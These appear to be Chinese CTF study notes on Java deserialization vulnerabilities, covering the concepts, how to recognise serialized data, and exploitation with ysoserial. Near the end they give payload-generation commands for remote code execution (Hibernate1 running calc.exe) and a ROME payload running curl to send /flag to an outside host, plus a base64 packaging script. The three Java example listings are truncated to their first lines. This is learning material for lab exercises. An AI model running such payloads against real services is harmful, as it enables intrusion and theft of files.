序列化-Java反序列化
序列化-Java反序列化
BUUCTF中有联系题目
山羊靶场
没有源码很难找出漏洞
序列化:把Java对象转换为字节序列
反序列化:字节流恢复为对象
对象序列化主要有两种用途:
把对象的字节序列永久的保存在硬盘上,通常存放在一个文件中(持久化对象)
在网络上传送对象的字节序列。(网络传输对象)
一、序列化和返序列化概念
Serialization(序列化):把对象转换为一连串有规律的字节描述的过程。
deserialization(反序列化):把这些字节转换为对象的过程
二、为什么要序列化和反序列化
当两个进程进行远程通信时,互相发送数据文本、图片、音频、视频等,都会转换为二进制在网络上传输。
Java是面向对象的开发方式,一切都是对象,在网络层传输时,发送方就需要把对象进行序列化,接收方需要反序列化。
Java序列化的好处:
- 实现了数据持久化,可以把数据永久保存在本地硬盘上(通常是放在文件里)
- 利用序列化进行远程通讯,即在网络上传送对象的字节序列
在网络中数据的传输必须是序列化形式进行的,其他序列化方式可以使JSON传出,xml传输。
类文件:Person.java
1 | package src; // 修改成自己的 Package 路径 |
序列化文件 SerializationTest.java
1 | package src; |
反序列化文件 UnserializeTest.java
1 | package src; |
理想条件下
通常是代码审计中才能找到Java反序列化漏洞
利用前提:
- 1、找谁继承了Serializable类
- 2、最理想的情况下,在该类中写恶意执行代码
- 3、运行序列化程序-Serializable
- 4、运行反序列化程序 Unserialize
因为但序列化后的对象中的代码会自动执行
所以我们的代码会被执行。
序列化数据出现:
1、功能特征:
反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或者DB存储等业务场景
所以审计过程中需要重点关注这些功能板块
2、数据特征:
开头ROoAB,基本确定是Java序列化base64加密的数据
或者aced开头,这可能是Java序列化16进制,初始化数据
工具文件夹中有利用脚本
可以使用java脚本工具生成16进制bin文件
java -jar ysoserial-0.06-SNAPSHOT-all.jar URLDNS “http://ag61d5.dnslog.cn“ > a.bin
有组件生成 RCE:
1、生成:
java -Dhibernate5 -cp hibernate-core-
5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar
ysoserial.GeneratePayload Hibernate1 “calc.exe” > x.bin
- 在使用python脚本生成加密后的base64文件
2、解码:python java.py
import base64
file = open(“x.bin”,”rb”)
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
解密分析工具-黑盒代码分析会用到
(数据还原)
SerializationDumper-v1,jar
#解密分析-SerializationDumper 数据分析
https://github.com/NickstaDB/SerializationDumper
java -jar SerializationDumper-v1.13.jar -r urldns.ser >dns.txt
黑盒观察数据特征
白盒:注意组件安全
生成返序列化payload
解密后数据中包含账号等信息,通过接口common /usr /current分析可知数据有接收
说明存在反序列化操作:
利用思路:
将恶意代码进行序列化后,进行后续操作
利用ysoserial进行序列化生成
java -jar ysoserical-master-30099844c6-1.jar ROME “curl http:xxxx/-d @/flag”> flag.bin
利用py脚本进行反序列化数据提取
import base64
file = open(“flag.bin”.”rb”)
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
